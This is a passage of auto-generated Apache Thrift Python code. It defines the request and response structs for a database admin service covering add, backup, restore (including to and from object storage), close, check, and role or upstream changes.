raise TProtocolException(message='Required field errorCode is unset!')
return
def __str__(self):
return repr(self)
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AddDBRequest(object):
"""
Attributes:
- db_name
- upstream_ip
- overwrite
"""
def __init__(self, db_name=None, upstream_ip=None, overwrite=False,):
self.db_name = db_name
self.upstream_ip = upstream_ip
self.overwrite = overwrite
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.upstream_ip = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.BOOL:
self.overwrite = iprot.readBool()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('AddDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.upstream_ip is not None:
oprot.writeFieldBegin('upstream_ip', TType.STRING, 2)
oprot.writeString(self.upstream_ip.encode('utf-8') if sys.version_info[0] == 2 else self.upstream_ip)
oprot.writeFieldEnd()
if self.overwrite is not None:
oprot.writeFieldBegin('overwrite', TType.BOOL, 3)
oprot.writeBool(self.overwrite)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.upstream_ip is None:
raise TProtocolException(message='Required field upstream_ip is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class AddDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('AddDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class BackupDBRequest(object):
"""
Attributes:
- db_name
- hdfs_backup_dir
- limit_mbs
"""
def __init__(self, db_name=None, hdfs_backup_dir=None, limit_mbs=0,):
self.db_name = db_name
self.hdfs_backup_dir = hdfs_backup_dir
self.limit_mbs = limit_mbs
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.hdfs_backup_dir = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I32:
self.limit_mbs = iprot.readI32()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('BackupDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.hdfs_backup_dir is not None:
oprot.writeFieldBegin('hdfs_backup_dir', TType.STRING, 2)
oprot.writeString(self.hdfs_backup_dir.encode('utf-8') if sys.version_info[0] == 2 else self.hdfs_backup_dir)
oprot.writeFieldEnd()
if self.limit_mbs is not None:
oprot.writeFieldBegin('limit_mbs', TType.I32, 3)
oprot.writeI32(self.limit_mbs)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.hdfs_backup_dir is None:
raise TProtocolException(message='Required field hdfs_backup_dir is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class BackupDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('BackupDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RestoreDBRequest(object):
"""
Attributes:
- db_name
- hdfs_backup_dir
- upstream_ip
- upstream_port
- limit_mbs
- db_role
"""
def __init__(self, db_name=None, hdfs_backup_dir=None, upstream_ip=None, upstream_port=None, limit_mbs=0, db_role=None,):
self.db_name = db_name
self.hdfs_backup_dir = hdfs_backup_dir
self.upstream_ip = upstream_ip
self.upstream_port = upstream_port
self.limit_mbs = limit_mbs
self.db_role = db_role
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.hdfs_backup_dir = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.upstream_ip = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I16:
self.upstream_port = iprot.readI16()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.I32:
self.limit_mbs = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.STRING:
self.db_role = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('RestoreDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.hdfs_backup_dir is not None:
oprot.writeFieldBegin('hdfs_backup_dir', TType.STRING, 2)
oprot.writeString(self.hdfs_backup_dir.encode('utf-8') if sys.version_info[0] == 2 else self.hdfs_backup_dir)
oprot.writeFieldEnd()
if self.upstream_ip is not None:
oprot.writeFieldBegin('upstream_ip', TType.STRING, 3)
oprot.writeString(self.upstream_ip.encode('utf-8') if sys.version_info[0] == 2 else self.upstream_ip)
oprot.writeFieldEnd()
if self.upstream_port is not None:
oprot.writeFieldBegin('upstream_port', TType.I16, 4)
oprot.writeI16(self.upstream_port)
oprot.writeFieldEnd()
if self.limit_mbs is not None:
oprot.writeFieldBegin('limit_mbs', TType.I32, 5)
oprot.writeI32(self.limit_mbs)
oprot.writeFieldEnd()
if self.db_role is not None:
oprot.writeFieldBegin('db_role', TType.STRING, 6)
oprot.writeString(self.db_role.encode('utf-8') if sys.version_info[0] == 2 else self.db_role)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.hdfs_backup_dir is None:
raise TProtocolException(message='Required field hdfs_backup_dir is unset!')
if self.upstream_ip is None:
raise TProtocolException(message='Required field upstream_ip is unset!')
if self.upstream_port is None:
raise TProtocolException(message='Required field upstream_port is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RestoreDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('RestoreDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class BackupDBToObjectRequest(object):
"""
Attributes:
- db_name
- bucket
- backup_dir
- limit_mbs
- platform
- region
"""
def __init__(self, db_name=None, bucket=None, backup_dir=None, limit_mbs=0, platform=None, region=None,):
self.db_name = db_name
self.bucket = bucket
self.backup_dir = backup_dir
self.limit_mbs = limit_mbs
self.platform = platform
self.region = region
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.backup_dir = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I32:
self.limit_mbs = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.STRING:
self.platform = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.STRING:
self.region = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('BackupDBToObjectRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.bucket is not None:
oprot.writeFieldBegin('bucket', TType.STRING, 2)
oprot.writeString(self.bucket.encode('utf-8') if sys.version_info[0] == 2 else self.bucket)
oprot.writeFieldEnd()
if self.backup_dir is not None:
oprot.writeFieldBegin('backup_dir', TType.STRING, 3)
oprot.writeString(self.backup_dir.encode('utf-8') if sys.version_info[0] == 2 else self.backup_dir)
oprot.writeFieldEnd()
if self.limit_mbs is not None:
oprot.writeFieldBegin('limit_mbs', TType.I32, 4)
oprot.writeI32(self.limit_mbs)
oprot.writeFieldEnd()
if self.platform is not None:
oprot.writeFieldBegin('platform', TType.STRING, 5)
oprot.writeString(self.platform.encode('utf-8') if sys.version_info[0] == 2 else self.platform)
oprot.writeFieldEnd()
if self.region is not None:
oprot.writeFieldBegin('region', TType.STRING, 6)
oprot.writeString(self.region.encode('utf-8') if sys.version_info[0] == 2 else self.region)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.bucket is None:
raise TProtocolException(message='Required field bucket is unset!')
if self.backup_dir is None:
raise TProtocolException(message='Required field backup_dir is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class BackupDBToObjectResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('BackupDBToObjectResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RestoreDBFromObjectRequest(object):
"""
Attributes:
- db_name
- bucket
- backup_dir
- upstream_ip
- upstream_port
- limit_mbs
- db_role
- platform
- region
"""
def __init__(self, db_name=None, bucket=None, backup_dir=None, upstream_ip=None, upstream_port=None, limit_mbs=0, db_role=None, platform=None, region=None,):
self.db_name = db_name
self.bucket = bucket
self.backup_dir = backup_dir
self.upstream_ip = upstream_ip
self.upstream_port = upstream_port
self.limit_mbs = limit_mbs
self.db_role = db_role
self.platform = platform
self.region = region
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.bucket = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.backup_dir = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.STRING:
self.upstream_ip = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 5:
if ftype == TType.I16:
self.upstream_port = iprot.readI16()
else:
iprot.skip(ftype)
elif fid == 6:
if ftype == TType.I32:
self.limit_mbs = iprot.readI32()
else:
iprot.skip(ftype)
elif fid == 7:
if ftype == TType.STRING:
self.db_role = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 8:
if ftype == TType.STRING:
self.platform = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 9:
if ftype == TType.STRING:
self.region = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('RestoreDBFromObjectRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.bucket is not None:
oprot.writeFieldBegin('bucket', TType.STRING, 2)
oprot.writeString(self.bucket.encode('utf-8') if sys.version_info[0] == 2 else self.bucket)
oprot.writeFieldEnd()
if self.backup_dir is not None:
oprot.writeFieldBegin('backup_dir', TType.STRING, 3)
oprot.writeString(self.backup_dir.encode('utf-8') if sys.version_info[0] == 2 else self.backup_dir)
oprot.writeFieldEnd()
if self.upstream_ip is not None:
oprot.writeFieldBegin('upstream_ip', TType.STRING, 4)
oprot.writeString(self.upstream_ip.encode('utf-8') if sys.version_info[0] == 2 else self.upstream_ip)
oprot.writeFieldEnd()
if self.upstream_port is not None:
oprot.writeFieldBegin('upstream_port', TType.I16, 5)
oprot.writeI16(self.upstream_port)
oprot.writeFieldEnd()
if self.limit_mbs is not None:
oprot.writeFieldBegin('limit_mbs', TType.I32, 6)
oprot.writeI32(self.limit_mbs)
oprot.writeFieldEnd()
if self.db_role is not None:
oprot.writeFieldBegin('db_role', TType.STRING, 7)
oprot.writeString(self.db_role.encode('utf-8') if sys.version_info[0] == 2 else self.db_role)
oprot.writeFieldEnd()
if self.platform is not None:
oprot.writeFieldBegin('platform', TType.STRING, 8)
oprot.writeString(self.platform.encode('utf-8') if sys.version_info[0] == 2 else self.platform)
oprot.writeFieldEnd()
if self.region is not None:
oprot.writeFieldBegin('region', TType.STRING, 9)
oprot.writeString(self.region.encode('utf-8') if sys.version_info[0] == 2 else self.region)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
if self.bucket is None:
raise TProtocolException(message='Required field bucket is unset!')
if self.backup_dir is None:
raise TProtocolException(message='Required field backup_dir is unset!')
if self.upstream_ip is None:
raise TProtocolException(message='Required field upstream_ip is unset!')
if self.upstream_port is None:
raise TProtocolException(message='Required field upstream_port is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class RestoreDBFromObjectResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('RestoreDBFromObjectResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CloseDBRequest(object):
"""
Attributes:
- db_name
"""
def __init__(self, db_name=None,):
self.db_name = db_name
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CloseDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CloseDBResponse(object):
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CloseDBResponse')
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CheckDBRequest(object):
"""
Attributes:
- db_name
"""
def __init__(self, db_name=None,):
self.db_name = db_name
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CheckDBRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
if self.db_name is None:
raise TProtocolException(message='Required field db_name is unset!')
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class CheckDBResponse(object):
"""
Attributes:
- seq_num
- wal_ttl_seconds
- last_update_timestamp_ms
- is_master
"""
def __init__(self, seq_num=0, wal_ttl_seconds=0, last_update_timestamp_ms=0, is_master=False,):
self.seq_num = seq_num
self.wal_ttl_seconds = wal_ttl_seconds
self.last_update_timestamp_ms = last_update_timestamp_ms
self.is_master = is_master
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.I64:
self.seq_num = iprot.readI64()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.I64:
self.wal_ttl_seconds = iprot.readI64()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.I64:
self.last_update_timestamp_ms = iprot.readI64()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.BOOL:
self.is_master = iprot.readBool()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('CheckDBResponse')
if self.seq_num is not None:
oprot.writeFieldBegin('seq_num', TType.I64, 1)
oprot.writeI64(self.seq_num)
oprot.writeFieldEnd()
if self.wal_ttl_seconds is not None:
oprot.writeFieldBegin('wal_ttl_seconds', TType.I64, 2)
oprot.writeI64(self.wal_ttl_seconds)
oprot.writeFieldEnd()
if self.last_update_timestamp_ms is not None:
oprot.writeFieldBegin('last_update_timestamp_ms', TType.I64, 3)
oprot.writeI64(self.last_update_timestamp_ms)
oprot.writeFieldEnd()
if self.is_master is not None:
oprot.writeFieldBegin('is_master', TType.BOOL, 4)
oprot.writeBool(self.is_master)
oprot.writeFieldEnd()
oprot.writeFieldStop()
oprot.writeStructEnd()
def validate(self):
return
def __repr__(self):
L = ['%s=%r' % (key, value)
for key, value in self.__dict__.items()]
return '%s(%s)' % (self.__class__.__name__, ', '.join(L))
def __eq__(self, other):
return isinstance(other, self.__class__) and self.__dict__ == other.__dict__
def __ne__(self, other):
return not (self == other)
class ChangeDBRoleAndUpstreamRequest(object):
"""
Attributes:
- db_name
- new_role
- upstream_ip
- upstream_port
"""
def __init__(self, db_name=None, new_role=None, upstream_ip=None, upstream_port=None,):
self.db_name = db_name
self.new_role = new_role
self.upstream_ip = upstream_ip
self.upstream_port = upstream_port
def read(self, iprot):
if iprot._fast_decode is not None and isinstance(iprot.trans, TTransport.CReadableTransport) and self.thrift_spec is not None:
iprot._fast_decode(self, iprot, [self.__class__, self.thrift_spec])
return
iprot.readStructBegin()
while True:
(fname, ftype, fid) = iprot.readFieldBegin()
if ftype == TType.STOP:
break
if fid == 1:
if ftype == TType.STRING:
self.db_name = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 2:
if ftype == TType.STRING:
self.new_role = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 3:
if ftype == TType.STRING:
self.upstream_ip = iprot.readString().decode('utf-8') if sys.version_info[0] == 2 else iprot.readString()
else:
iprot.skip(ftype)
elif fid == 4:
if ftype == TType.I16:
self.upstream_port = iprot.readI16()
else:
iprot.skip(ftype)
else:
iprot.skip(ftype)
iprot.readFieldEnd()
iprot.readStructEnd()
def write(self, oprot):
if oprot._fast_encode is not None and self.thrift_spec is not None:
oprot.trans.write(oprot._fast_encode(self, [self.__class__, self.thrift_spec]))
return
oprot.writeStructBegin('ChangeDBRoleAndUpstreamRequest')
if self.db_name is not None:
oprot.writeFieldBegin('db_name', TType.STRING, 1)
oprot.writeString(self.db_name.encode('utf-8') if sys.version_info[0] == 2 else self.db_name)
oprot.writeFieldEnd()
if self.new_role is not None:
oprot.writeFieldBegin('new_role', TType.STRING, 2)
oprot.writeString(self.new_role.encode('utf-8') if sys.version_info[0] == 2 else self.new_role)
oprot.writeFieldEnd()
